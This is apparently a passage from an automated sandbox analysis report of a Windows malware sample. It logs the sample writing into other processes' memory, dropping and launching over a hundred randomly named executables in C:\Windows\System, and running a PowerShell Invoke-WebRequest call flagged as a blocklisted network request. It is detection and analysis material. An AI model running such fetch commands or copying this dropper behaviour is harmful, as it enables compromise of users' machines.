PID 4620 wrote to memory of 4024	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	103
PID 4620 wrote to memory of 4024	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	103
PID 4620 wrote to memory of 64	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	104
PID 4620 wrote to memory of 64	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	104
PID 4620 wrote to memory of 1524	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	105
PID 4620 wrote to memory of 1524	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	105
PID 4620 wrote to memory of 4784	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	106
PID 4620 wrote to memory of 4784	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	106
PID 4620 wrote to memory of 3924	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	107
PID 4620 wrote to memory of 3924	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	107
PID 4620 wrote to memory of 2548	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	108
PID 4620 wrote to memory of 2548	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	108
PID 4620 wrote to memory of 3880	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	109
PID 4620 wrote to memory of 3880	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	109
PID 4620 wrote to memory of 1560	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	110
PID 4620 wrote to memory of 1560	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	110
PID 4620 wrote to memory of 4504	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	111
PID 4620 wrote to memory of 4504	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	111
PID 4620 wrote to memory of 2868	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	112
PID 4620 wrote to memory of 2868	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	112
PID 4620 wrote to memory of 2564	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	113
PID 4620 wrote to memory of 2564	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	113
PID 4620 wrote to memory of 4300	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	114
PID 4620 wrote to memory of 4300	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	114
PID 4620 wrote to memory of 1476	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	115
PID 4620 wrote to memory of 1476	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	115
PID 4620 wrote to memory of 1108	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	116
PID 4620 wrote to memory of 1108	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	116

C:\Users\Admin\AppData\Local\Temp\14fae000e042720194413b5501891e6f_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\14fae000e042720194413b5501891e6f_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2716
- C:\Windows\System\SLmjsoM.exe
  C:\Windows\System\SLmjsoM.exe
  2⤵
  - Executes dropped EXE
  PID:2588
- C:\Windows\System\ZhTAuGr.exe
  C:\Windows\System\ZhTAuGr.exe
  2⤵
  - Executes dropped EXE
  PID:2916
- C:\Windows\System\mkXhnZB.exe
  C:\Windows\System\mkXhnZB.exe
  2⤵
  - Executes dropped EXE
  PID:1896
- C:\Windows\System\DmSoQbT.exe
  C:\Windows\System\DmSoQbT.exe
  2⤵
  - Executes dropped EXE
  PID:4148
- C:\Windows\System\iQHuLSz.exe
  C:\Windows\System\iQHuLSz.exe
  2⤵
  - Executes dropped EXE
  PID:4956
- C:\Windows\System\HrxMKyU.exe
  C:\Windows\System\HrxMKyU.exe
  2⤵
  - Executes dropped EXE
  PID:4452
- C:\Windows\System\kIYQnVl.exe
  C:\Windows\System\kIYQnVl.exe
  2⤵
  - Executes dropped EXE
  PID:2496
- C:\Windows\System\NZlKHJW.exe
  C:\Windows\System\NZlKHJW.exe
  2⤵
  - Executes dropped EXE
  PID:3948
- C:\Windows\System\cxekULr.exe
  C:\Windows\System\cxekULr.exe
  2⤵
  - Executes dropped EXE
  PID:2764
- C:\Windows\System\vjFlzep.exe
  C:\Windows\System\vjFlzep.exe
  2⤵
  - Executes dropped EXE
  PID:1188
- C:\Windows\System\BOSLlQZ.exe
  C:\Windows\System\BOSLlQZ.exe
  2⤵
  - Executes dropped EXE
  PID:928
- C:\Windows\System\jIJZyel.exe
  C:\Windows\System\jIJZyel.exe
  2⤵
  - Executes dropped EXE
  PID:3796
- C:\Windows\System\LmKyFkN.exe
  C:\Windows\System\LmKyFkN.exe
  2⤵
  - Executes dropped EXE
  PID:2888
- C:\Windows\System\DWZzZKI.exe
  C:\Windows\System\DWZzZKI.exe
  2⤵
  - Executes dropped EXE
  PID:952
- C:\Windows\System\liiWluX.exe
  C:\Windows\System\liiWluX.exe
  2⤵
  - Executes dropped EXE
  PID:1556
- C:\Windows\System\cNqqOCn.exe
  C:\Windows\System\cNqqOCn.exe
  2⤵
  - Executes dropped EXE
  PID:2396
- C:\Windows\System\KQJgSgq.exe
  C:\Windows\System\KQJgSgq.exe
  2⤵
  - Executes dropped EXE
  PID:1548
- C:\Windows\System\QBzSErU.exe
  C:\Windows\System\QBzSErU.exe
  2⤵
  - Executes dropped EXE
  PID:4024
- C:\Windows\System\hERzGWq.exe
  C:\Windows\System\hERzGWq.exe
  2⤵
  - Executes dropped EXE
  PID:64
- C:\Windows\System\DIfgDeD.exe
  C:\Windows\System\DIfgDeD.exe
  2⤵
  - Executes dropped EXE
  PID:1524
- C:\Windows\System\zubHdzS.exe
  C:\Windows\System\zubHdzS.exe
  2⤵
  - Executes dropped EXE
  PID:4784
- C:\Windows\System\BSauTJs.exe
  C:\Windows\System\BSauTJs.exe
  2⤵
  - Executes dropped EXE
  PID:3924
- C:\Windows\System\xCvTHro.exe
  C:\Windows\System\xCvTHro.exe
  2⤵
  - Executes dropped EXE
  PID:2548
- C:\Windows\System\xqBQQpR.exe
  C:\Windows\System\xqBQQpR.exe
  2⤵
  - Executes dropped EXE
  PID:3880
- C:\Windows\System\qAGqwvW.exe
  C:\Windows\System\qAGqwvW.exe
  2⤵
  - Executes dropped EXE
  PID:1560
- C:\Windows\System\viqrXds.exe
  C:\Windows\System\viqrXds.exe
  2⤵
  - Executes dropped EXE
  PID:4504
- C:\Windows\System\adapgsI.exe
  C:\Windows\System\adapgsI.exe
  2⤵
  - Executes dropped EXE
  PID:2868
- C:\Windows\System\jWWgHcv.exe
  C:\Windows\System\jWWgHcv.exe
  2⤵
  - Executes dropped EXE
  PID:2564
- C:\Windows\System\PpmKnpb.exe
  C:\Windows\System\PpmKnpb.exe
  2⤵
  - Executes dropped EXE
  PID:4300
- C:\Windows\System\jOdYwEE.exe
  C:\Windows\System\jOdYwEE.exe
  2⤵
  - Executes dropped EXE
  PID:1476
- C:\Windows\System\tBXbQDX.exe
  C:\Windows\System\tBXbQDX.exe
  2⤵
  - Executes dropped EXE
  PID:1108
- C:\Windows\System\VSQyDOD.exe
  C:\Windows\System\VSQyDOD.exe
  2⤵
  - Executes dropped EXE
  PID:1916
- C:\Windows\System\BlWUAiT.exe
  C:\Windows\System\BlWUAiT.exe
  2⤵
  - Executes dropped EXE
  PID:1280
- C:\Windows\System\JFvDpMd.exe
  C:\Windows\System\JFvDpMd.exe
  2⤵
  - Executes dropped EXE
  PID:1824
- C:\Windows\System\XwCoWaK.exe
  C:\Windows\System\XwCoWaK.exe
  2⤵
  - Executes dropped EXE
  PID:4964
- C:\Windows\System\BucadVa.exe
  C:\Windows\System\BucadVa.exe
  2⤵
  - Executes dropped EXE
  PID:1636
- C:\Windows\System\EVKGRqI.exe
  C:\Windows\System\EVKGRqI.exe
  2⤵
  - Executes dropped EXE
  PID:3556
- C:\Windows\System\EZbmqVE.exe
  C:\Windows\System\EZbmqVE.exe
  2⤵
  - Executes dropped EXE
  PID:1920
- C:\Windows\System\IYzkQtO.exe
  C:\Windows\System\IYzkQtO.exe
  2⤵
  - Executes dropped EXE
  PID:4476
- C:\Windows\System\EfBBzja.exe
  C:\Windows\System\EfBBzja.exe
  2⤵
  - Executes dropped EXE
  PID:4332
- C:\Windows\System\ZZkeJGF.exe
  C:\Windows\System\ZZkeJGF.exe
  2⤵
  - Executes dropped EXE
  PID:1880
- C:\Windows\System\sgLARZP.exe
  C:\Windows\System\sgLARZP.exe
  2⤵
  - Executes dropped EXE
  PID:4472
- C:\Windows\System\eViegZb.exe
  C:\Windows\System\eViegZb.exe
  2⤵
  - Executes dropped EXE
  PID:2024
- C:\Windows\System\pRtHygb.exe
  C:\Windows\System\pRtHygb.exe
  2⤵
  - Executes dropped EXE
  PID:4316
- C:\Windows\System\UtDOYmP.exe
  C:\Windows\System\UtDOYmP.exe
  2⤵
  - Executes dropped EXE
  PID:4296
- C:\Windows\System\kkeeIdE.exe
  C:\Windows\System\kkeeIdE.exe
  2⤵
  - Executes dropped EXE
  PID:5016
- C:\Windows\System\xJuRhEp.exe
  C:\Windows\System\xJuRhEp.exe
  2⤵
  - Executes dropped EXE
  PID:1572
- C:\Windows\System\abRnjtR.exe
  C:\Windows\System\abRnjtR.exe
  2⤵
  - Executes dropped EXE
  PID:2520
- C:\Windows\System\VwzscVL.exe
  C:\Windows\System\VwzscVL.exe
  2⤵
  - Executes dropped EXE
  PID:4608
- C:\Windows\System\NUZlTWF.exe
  C:\Windows\System\NUZlTWF.exe
  2⤵
  - Executes dropped EXE
  PID:816
- C:\Windows\System\tMjrxUP.exe
  C:\Windows\System\tMjrxUP.exe
  2⤵
  - Executes dropped EXE
  PID:4752
- C:\Windows\System\tYghXUW.exe
  C:\Windows\System\tYghXUW.exe
  2⤵
  - Executes dropped EXE
  PID:2172
- C:\Windows\System\fmdUhrX.exe
  C:\Windows\System\fmdUhrX.exe
  2⤵
  - Executes dropped EXE
  PID:2600
- C:\Windows\System\dNRTtfb.exe
  C:\Windows\System\dNRTtfb.exe
  2⤵
  - Executes dropped EXE
  PID:3372
- C:\Windows\System\XNLqYDW.exe
  C:\Windows\System\XNLqYDW.exe
  2⤵
  - Executes dropped EXE
  PID:4484
- C:\Windows\System\VEElIIT.exe
  C:\Windows\System\VEElIIT.exe
  2⤵
  - Executes dropped EXE
  PID:4420
- C:\Windows\System\HwStXUS.exe
  C:\Windows\System\HwStXUS.exe
  2⤵
  - Executes dropped EXE
  PID:1660
- C:\Windows\System\qwnyVXV.exe
  C:\Windows\System\qwnyVXV.exe
  2⤵
  - Executes dropped EXE
  PID:1372
- C:\Windows\System\dKdFXsw.exe
  C:\Windows\System\dKdFXsw.exe
  2⤵
  - Executes dropped EXE
  PID:4664
- C:\Windows\System\ZcVXdEc.exe
  C:\Windows\System\ZcVXdEc.exe
  2⤵
  - Executes dropped EXE
  PID:4708
- C:\Windows\System\WeeXdss.exe
  C:\Windows\System\WeeXdss.exe
  2⤵
  - Executes dropped EXE
  PID:4912
- C:\Windows\System\ZnSFnrN.exe
  C:\Windows\System\ZnSFnrN.exe
  2⤵
  - Executes dropped EXE
  PID:4272
- C:\Windows\System\FLMcZIH.exe
  C:\Windows\System\FLMcZIH.exe
  2⤵
  - Executes dropped EXE
  PID:1384
- C:\Windows\System\SvXsZhk.exe
  C:\Windows\System\SvXsZhk.exe
  2⤵
  - Executes dropped EXE
  PID:4080
- C:\Windows\System\IcDDELn.exe
  C:\Windows\System\IcDDELn.exe
  2⤵
  PID:3840
- C:\Windows\System\NJQVBIJ.exe
  C:\Windows\System\NJQVBIJ.exe
  2⤵
  PID:456
- C:\Windows\System\BgmqhFd.exe
  C:\Windows\System\BgmqhFd.exe
  2⤵
  PID:5124
- C:\Windows\System\iYvoKPn.exe
  C:\Windows\System\iYvoKPn.exe
  2⤵
  PID:5152
- C:\Windows\System\tMdFKLb.exe
  C:\Windows\System\tMdFKLb.exe
  2⤵
  PID:5184
- C:\Windows\System\RflqXrt.exe
  C:\Windows\System\RflqXrt.exe
  2⤵
  PID:5212
- C:\Windows\System\zQSlnrD.exe
  C:\Windows\System\zQSlnrD.exe
  2⤵
  PID:5240
- C:\Windows\System\kKVViFT.exe
  C:\Windows\System\kKVViFT.exe
  2⤵
  PID:5268
- C:\Windows\System\bDcPgJo.exe
  C:\Windows\System\bDcPgJo.exe
  2⤵
  PID:5296
- C:\Windows\System\mJQEQsV.exe
  C:\Windows\System\mJQEQsV.exe
  2⤵
  PID:5328
- C:\Windows\System\VnwJKyd.exe
  C:\Windows\System\VnwJKyd.exe
  2⤵
  PID:5352
- C:\Windows\System\JaSHJoF.exe
  C:\Windows\System\JaSHJoF.exe
  2⤵
  PID:5380
- C:\Windows\System\ifiqrLz.exe
  C:\Windows\System\ifiqrLz.exe
  2⤵
  PID:5408
- C:\Windows\System\ZxNLQdS.exe
  C:\Windows\System\ZxNLQdS.exe
  2⤵
  PID:5436
- C:\Windows\System\jktYaIK.exe
  C:\Windows\System\jktYaIK.exe
  2⤵
  PID:5460
- C:\Windows\System\aWPlGPl.exe
  C:\Windows\System\aWPlGPl.exe
  2⤵
  PID:5500
- C:\Windows\System\UXXmPgj.exe
  C:\Windows\System\UXXmPgj.exe
  2⤵
  PID:5524
- C:\Windows\System\NpXPcgV.exe
  C:\Windows\System\NpXPcgV.exe
  2⤵
  PID:5556
- C:\Windows\System\DmUWvKz.exe
  C:\Windows\System\DmUWvKz.exe
  2⤵
  PID:5584
- C:\Windows\System\NaYAdZI.exe
  C:\Windows\System\NaYAdZI.exe
  2⤵
  PID:5612
- C:\Windows\System\RqaySan.exe
  C:\Windows\System\RqaySan.exe
  2⤵
  PID:5644
- C:\Windows\System\PsbaxHo.exe
  C:\Windows\System\PsbaxHo.exe
  2⤵
  PID:5672
- C:\Windows\System\JRlfBeG.exe
  C:\Windows\System\JRlfBeG.exe
  2⤵
  PID:5700
- C:\Windows\System\dFPpMoQ.exe
  C:\Windows\System\dFPpMoQ.exe
  2⤵
  PID:5728
- C:\Windows\System\SFrUdnm.exe
  C:\Windows\System\SFrUdnm.exe
  2⤵
  PID:5756
- C:\Windows\System\EOcMPzU.exe
  C:\Windows\System\EOcMPzU.exe
  2⤵
  PID:5780
- C:\Windows\System\cQrlrPr.exe
  C:\Windows\System\cQrlrPr.exe
  2⤵
  PID:5812
- C:\Windows\System\jLhNAMD.exe
  C:\Windows\System\jLhNAMD.exe
  2⤵
  PID:5840
- C:\Windows\System\jaxnSGl.exe
  C:\Windows\System\jaxnSGl.exe
  2⤵
  PID:5868
- C:\Windows\System\WgEeJYO.exe
  C:\Windows\System\WgEeJYO.exe
  2⤵
  PID:5896
- C:\Windows\System\YunnOpw.exe
  C:\Windows\System\YunnOpw.exe
  2⤵
  PID:5924
- C:\Windows\System\LPfVLNX.exe
  C:\Windows\System\LPfVLNX.exe
  2⤵
  PID:5952
- C:\Windows\System\acMaYNt.exe
  C:\Windows\System\acMaYNt.exe
  2⤵
  PID:5980
- C:\Windows\System\VNvfVPP.exe
  C:\Windows\System\VNvfVPP.exe
  2⤵
  PID:6004
- C:\Windows\System\erPPFRO.exe
  C:\Windows\System\erPPFRO.exe
  2⤵
  PID:6036
- C:\Windows\System\TiTcklF.exe
  C:\Windows\System\TiTcklF.exe
  2⤵
  PID:6064
- C:\Windows\System\JmIfwhm.exe
  C:\Windows\System\JmIfwhm.exe
  2⤵
  PID:6092
- C:\Windows\System\JqILXdI.exe
  C:\Windows\System\JqILXdI.exe
  2⤵
  PID:6120
- C:\Windows\System\AkOemfh.exe
  C:\Windows\System\AkOemfh.exe
  2⤵
  PID:2400
- C:\Windows\System\XMYIPzL.exe
  C:\Windows\System\XMYIPzL.exe
  2⤵
  PID:4284
- C:\Windows\System\hfGhrhK.exe
  C:\Windows\System\hfGhrhK.exe
  2⤵
  PID:892
- C:\Windows\System\hnTVpdN.exe
  C:\Windows\System\hnTVpdN.exe
  2⤵
  PID:2992
- C:\Windows\System\ogliwBY.exe
  C:\Windows\System\ogliwBY.exe
  2⤵
  PID:5004
- C:\Windows\System\oDyOUuj.exe
  C:\Windows\System\oDyOUuj.exe
  2⤵
  PID:5164
- C:\Windows\System\bdiWvVZ.exe
  C:\Windows\System\bdiWvVZ.exe
  2⤵
  PID:5228
- C:\Windows\System\zYWCVZv.exe
  C:\Windows\System\zYWCVZv.exe
  2⤵
  PID:5288
- C:\Windows\System\bmWumdy.exe
  C:\Windows\System\bmWumdy.exe
  2⤵
  PID:5368
- C:\Windows\System\amnEmch.exe
  C:\Windows\System\amnEmch.exe
  2⤵
  PID:5428
- C:\Windows\System\iNXIFFT.exe
  C:\Windows\System\iNXIFFT.exe
  2⤵
  PID:5484
- C:\Windows\System\ywjfNHZ.exe
  C:\Windows\System\ywjfNHZ.exe
  2⤵
  PID:5544
- C:\Windows\System\oupyTdD.exe
  C:\Windows\System\oupyTdD.exe
  2⤵
  PID:5600
- C:\Windows\System\CTbbhmt.exe
  C:\Windows\System\CTbbhmt.exe
  2⤵
  PID:5636
- C:\Windows\System\JDBBNkm.exe
  C:\Windows\System\JDBBNkm.exe
  2⤵
  PID:5716
- C:\Windows\System\SpkNDoh.exe
  C:\Windows\System\SpkNDoh.exe
  2⤵
  PID:5776
- C:\Windows\System\EQYrsOZ.exe
  C:\Windows\System\EQYrsOZ.exe
  2⤵
  PID:5828
- C:\Windows\System\qNdlNve.exe
  C:\Windows\System\qNdlNve.exe
  2⤵
  PID:5884
- C:\Windows\System\MBnTDsL.exe
  C:\Windows\System\MBnTDsL.exe
  2⤵
  PID:5944
- C:\Windows\System\VhyQEnb.exe
  C:\Windows\System\VhyQEnb.exe
  2⤵
  PID:6020
- C:\Windows\System\VKQaFRN.exe
  C:\Windows\System\VKQaFRN.exe
  2⤵
  PID:6076
- C:\Windows\System\uEctxUc.exe
  C:\Windows\System\uEctxUc.exe
  2⤵
  PID:6136
- C:\Windows\System\yrbUKJR.exe
  C:\Windows\System\yrbUKJR.exe
  2⤵
  PID:1696
- C:\Windows\System\SmhAqEj.exe
  C:\Windows\System\SmhAqEj.exe
  2⤵
  PID:4636
- C:\Windows\System\zmmHkJz.exe
  C:\Windows\System\zmmHkJz.exe
  2⤵
  PID:5260
- C:\Windows\System\bBHQxSS.exe
  C:\Windows\System\bBHQxSS.exe
  2⤵
  PID:5396
- C:\Windows\System\XRvLFVU.exe
  C:\Windows\System\XRvLFVU.exe
  2⤵
  PID:5516
- C:\Windows\System\uUfZqzb.exe
  C:\Windows\System\uUfZqzb.exe
  2⤵
  PID:3664
- C:\Windows\System\QOaVlIh.exe
  C:\Windows\System\QOaVlIh.exe
  2⤵
  PID:5748
- C:\Windows\System\UZYFxWp.exe
  C:\Windows\System\UZYFxWp.exe
  2⤵
  PID:5856
- C:\Windows\System\wfQIdgS.exe
  C:\Windows\System\wfQIdgS.exe
  2⤵
  PID:5972
- C:\Windows\System\FWUZQjA.exe
  C:\Windows\System\FWUZQjA.exe
  2⤵
  PID:6104
- C:\Windows\System\NUtzICg.exe
  C:\Windows\System\NUtzICg.exe
  2⤵
  PID:4508
- C:\Windows\System\cWGgHma.exe
  C:\Windows\System\cWGgHma.exe
  2⤵
  PID:5284
- C:\Windows\System\XAmWshf.exe
  C:\Windows\System\XAmWshf.exe
  2⤵
  PID:3312
- C:\Windows\System\ipIurhs.exe
  C:\Windows\System\ipIurhs.exe
  2⤵
  PID:4180
- C:\Windows\System\dnsGJtY.exe
  C:\Windows\System\dnsGJtY.exe
  2⤵
  PID:6172
- C:\Windows\System\pXmiZcu.exe
  C:\Windows\System\pXmiZcu.exe
  2⤵
  PID:6200
- C:\Windows\System\NiYCoqR.exe
  C:\Windows\System\NiYCoqR.exe
  2⤵
  PID:6228
- C:\Windows\System\JclUcNS.exe
  C:\Windows\System\JclUcNS.exe
  2⤵
  PID:6256
- C:\Windows\System\cfjLwDC.exe
  C:\Windows\System\cfjLwDC.exe
  2⤵
  PID:6280
- C:\Windows\System\EaOcckP.exe
  C:\Windows\System\EaOcckP.exe
  2⤵
  PID:6312
- C:\Windows\System\BOpxhnC.exe
  C:\Windows\System\BOpxhnC.exe
  2⤵
  PID:6340
- C:\Windows\System\yUsEEmx.exe
  C:\Windows\System\yUsEEmx.exe
  2⤵
  PID:6368
- C:\Windows\System\untgHnT.exe
  C:\Windows\System\untgHnT.exe
  2⤵
  PID:6400
- C:\Windows\System\uPZFrOm.exe
  C:\Windows\System\uPZFrOm.exe
  2⤵
  PID:6424
- C:\Windows\System\BYKpdtc.exe
  C:\Windows\System\BYKpdtc.exe
  2⤵
  PID:6456
- C:\Windows\System\IRUrbrG.exe
  C:\Windows\System\IRUrbrG.exe
  2⤵
  PID:6480
- C:\Windows\System\MAmREXC.exe
  C:\Windows\System\MAmREXC.exe
  2⤵
  PID:6512
- C:\Windows\System\qlbAvYH.exe
  C:\Windows\System\qlbAvYH.exe
  2⤵
  PID:6536
- C:\Windows\System\dNTzEwg.exe
  C:\Windows\System\dNTzEwg.exe
  2⤵
  PID:6564
- C:\Windows\System\WzAoxZr.exe
  C:\Windows\System\WzAoxZr.exe
  2⤵
  PID:6588
- C:\Windows\System\TVugJtu.exe
  C:\Windows\System\TVugJtu.exe
  2⤵
  PID:6620
- C:\Windows\System\BocsydQ.exe
  C:\Windows\System\BocsydQ.exe
  2⤵
  PID:6648
- C:\Windows\System\nZFTYIl.exe
  C:\Windows\System\nZFTYIl.exe
  2⤵
  PID:6676
- C:\Windows\System\kbmCreN.exe
  C:\Windows\System\kbmCreN.exe
  2⤵
  PID:6704
- C:\Windows\System\hXvgJhf.exe
  C:\Windows\System\hXvgJhf.exe
  2⤵
  PID:6732
- C:\Windows\System\muQTKQW.exe
  C:\Windows\System\muQTKQW.exe
  2⤵
  PID:6760
- C:\Windows\System\pjyduCQ.exe
  C:\Windows\System\pjyduCQ.exe
  2⤵
  PID:6788
- C:\Windows\System\imYTIFk.exe
  C:\Windows\System\imYTIFk.exe
  2⤵
  PID:6816
- C:\Windows\System\CALqqlN.exe
  C:\Windows\System\CALqqlN.exe
  2⤵
  PID:6844
- C:\Windows\System\lBajveu.exe
  C:\Windows\System\lBajveu.exe
  2⤵
  PID:6872
- C:\Windows\System\jyUfeEH.exe
  C:\Windows\System\jyUfeEH.exe
  2⤵
  PID:6900
- C:\Windows\System\wQgItkm.exe
  C:\Windows\System\wQgItkm.exe
  2⤵
  PID:6968
- C:\Windows\System\jQLhcDL.exe
  C:\Windows\System\jQLhcDL.exe
  2⤵
  PID:6984
- C:\Windows\System\bzYKpki.exe
  C:\Windows\System\bzYKpki.exe
  2⤵
  PID:7008
- C:\Windows\System\jQbZumi.exe
  C:\Windows\System\jQbZumi.exe
  2⤵
  PID:7032
- C:\Windows\System\PEAYTtu.exe
  C:\Windows\System\PEAYTtu.exe
  2⤵
  PID:7064
- C:\Windows\System\mwasWeF.exe
  C:\Windows\System\mwasWeF.exe
  2⤵
  PID:7080
- C:\Windows\System\OsOyCTK.exe
  C:\Windows\System\OsOyCTK.exe
  2⤵
  PID:7120
- C:\Windows\System\fLLJhAH.exe
  C:\Windows\System\fLLJhAH.exe
  2⤵
  PID:7144
- C:\Windows\System\gzhjfSg.exe
  C:\Windows\System\gzhjfSg.exe
  2⤵
  PID:7160
- C:\Windows\System\abiXMbl.exe
  C:\Windows\System\abiXMbl.exe
  2⤵
  PID:6028
- C:\Windows\System\HWbYPks.exe
  C:\Windows\System\HWbYPks.exe
  2⤵
  PID:2272
- C:\Windows\System\KaTBYKV.exe
  C:\Windows\System\KaTBYKV.exe
  2⤵
  PID:4728
- C:\Windows\System\cyjjJdS.exe
  C:\Windows\System\cyjjJdS.exe
  2⤵
  PID:5804
- C:\Windows\System\edAIVWg.exe
  C:\Windows\System\edAIVWg.exe
  2⤵
  PID:6184
- C:\Windows\System\GzxPfun.exe
  C:\Windows\System\GzxPfun.exe
  2⤵
  PID:3988
- C:\Windows\System\qeStDpV.exe
  C:\Windows\System\qeStDpV.exe
  2⤵
  PID:2248
- C:\Windows\System\yseVKzd.exe
  C:\Windows\System\yseVKzd.exe
  2⤵
  PID:6452
- C:\Windows\System\lLplJEp.exe
  C:\Windows\System\lLplJEp.exe
  2⤵
  PID:6496
- C:\Windows\System\DtrMFPZ.exe
  C:\Windows\System\DtrMFPZ.exe
  2⤵
  PID:6532
- C:\Windows\System\AqICAbq.exe
  C:\Windows\System\AqICAbq.exe
  2⤵
  PID:6556
- C:\Windows\System\tgjeJfw.exe
  C:\Windows\System\tgjeJfw.exe
  2⤵
  PID:1432
- C:\Windows\System\WwMfXhS.exe
  C:\Windows\System\WwMfXhS.exe
  2⤵
  PID:6692
- C:\Windows\System\ddDshfG.exe
  C:\Windows\System\ddDshfG.exe
  2⤵
  PID:6724
- C:\Windows\System\DlSDJXq.exe
  C:\Windows\System\DlSDJXq.exe
  2⤵
  PID:6752
- C:\Windows\System\pYzNuDb.exe
  C:\Windows\System\pYzNuDb.exe
  2⤵
  PID:4952
- C:\Windows\System\jpwavQI.exe
  C:\Windows\System\jpwavQI.exe
  2⤵
  PID:5036
- C:\Windows\System\EpcALwr.exe
  C:\Windows\System\EpcALwr.exe
  2⤵
  PID:3024
- C:\Windows\System\qeWhKxO.exe
  C:\Windows\System\qeWhKxO.exe
  2⤵
  PID:4132
- C:\Windows\System\rwbEWGQ.exe
  C:\Windows\System\rwbEWGQ.exe
  2⤵
  PID:6864
- C:\Windows\System\cKwgUcc.exe
  C:\Windows\System\cKwgUcc.exe
  2⤵
  PID:6936
- C:\Windows\System\NfsrBCR.exe
  C:\Windows\System\NfsrBCR.exe
  2⤵
  PID:368
- C:\Windows\System\MjRKqSJ.exe
  C:\Windows\System\MjRKqSJ.exe
  2⤵
  PID:6956
- C:\Windows\System\vSGYGsB.exe
  C:\Windows\System\vSGYGsB.exe
  2⤵
  PID:7096
- C:\Windows\System\JcSWJTy.exe
  C:\Windows\System\JcSWJTy.exe
  2⤵
  PID:7020
- C:\Windows\System\JZhOuiC.exe
  C:\Windows\System\JZhOuiC.exe
  2⤵
  PID:7060
- C:\Windows\System\LCXzVjj.exe
  C:\Windows\System\LCXzVjj.exe
  2⤵
  PID:3448
- C:\Windows\System\aAaHVkb.exe
  C:\Windows\System\aAaHVkb.exe
  2⤵
  PID:6360
- C:\Windows\System\SIFyPnj.exe
  C:\Windows\System\SIFyPnj.exe
  2⤵
  PID:6436
- C:\Windows\System\VdtuieS.exe
  C:\Windows\System\VdtuieS.exe
  2⤵
  PID:6548
- C:\Windows\System\VvHcftz.exe
  C:\Windows\System\VvHcftz.exe
  2⤵
  PID:4052
- C:\Windows\System\MgslMwg.exe
  C:\Windows\System\MgslMwg.exe
  2⤵
  PID:532
- C:\Windows\System\HeILqlM.exe
  C:\Windows\System\HeILqlM.exe
  2⤵
  PID:7112
- C:\Windows\System\kjXxIWE.exe
  C:\Windows\System\kjXxIWE.exe
  2⤵
  PID:7152
- C:\Windows\System\YhfFUbj.exe
  C:\Windows\System\YhfFUbj.exe
  2⤵
  PID:4524
- C:\Windows\System\cVSoyUJ.exe
  C:\Windows\System\cVSoyUJ.exe
  2⤵
  PID:4552
- C:\Windows\System\NmvJVAD.exe
  C:\Windows\System\NmvJVAD.exe
  2⤵
  PID:4108
- C:\Windows\System\tNlIOVK.exe
  C:\Windows\System\tNlIOVK.exe
  2⤵
  PID:6744
- C:\Windows\System\pwpvHcV.exe
  C:\Windows\System\pwpvHcV.exe
  2⤵
  PID:6192
- C:\Windows\System\HbstuJx.exe
  C:\Windows\System\HbstuJx.exe
  2⤵
  PID:3292
- C:\Windows\System\SsWnHen.exe
  C:\Windows\System\SsWnHen.exe
  2⤵
  PID:7004
- C:\Windows\System\sQBzksp.exe
  C:\Windows\System\sQBzksp.exe
  2⤵
  PID:6416
- C:\Windows\System\SiobrQg.exe
  C:\Windows\System\SiobrQg.exe
  2⤵
  PID:6884
- C:\Windows\System\kjGHtDe.exe
  C:\Windows\System\kjGHtDe.exe
  2⤵
  PID:7048
- C:\Windows\System\KUfGmIx.exe
  C:\Windows\System\KUfGmIx.exe
  2⤵
  PID:3660
- C:\Windows\System\mlPrllu.exe
  C:\Windows\System\mlPrllu.exe
  2⤵
  PID:7184
- C:\Windows\System\Inmidyq.exe
  C:\Windows\System\Inmidyq.exe
  2⤵
  PID:7216
- C:\Windows\System\YJErtXa.exe
  C:\Windows\System\YJErtXa.exe
  2⤵
  PID:7236
- C:\Windows\System\dYeGlDr.exe
  C:\Windows\System\dYeGlDr.exe
  2⤵
  PID:7260
- C:\Windows\System\hbWkzQF.exe
  C:\Windows\System\hbWkzQF.exe
  2⤵
  PID:7304
- C:\Windows\System\jejCrlW.exe
  C:\Windows\System\jejCrlW.exe
  2⤵
  PID:7344
- C:\Windows\System\jmHuNAV.exe
  C:\Windows\System\jmHuNAV.exe
  2⤵
  PID:7364
- C:\Windows\System\vHvYutE.exe
  C:\Windows\System\vHvYutE.exe
  2⤵
  PID:7392
- C:\Windows\System\wFEkreN.exe
  C:\Windows\System\wFEkreN.exe
  2⤵
  PID:7412
- C:\Windows\System\dbejyIH.exe
  C:\Windows\System\dbejyIH.exe
  2⤵
  PID:7436
- C:\Windows\System\WtVOvIN.exe
  C:\Windows\System\WtVOvIN.exe
  2⤵
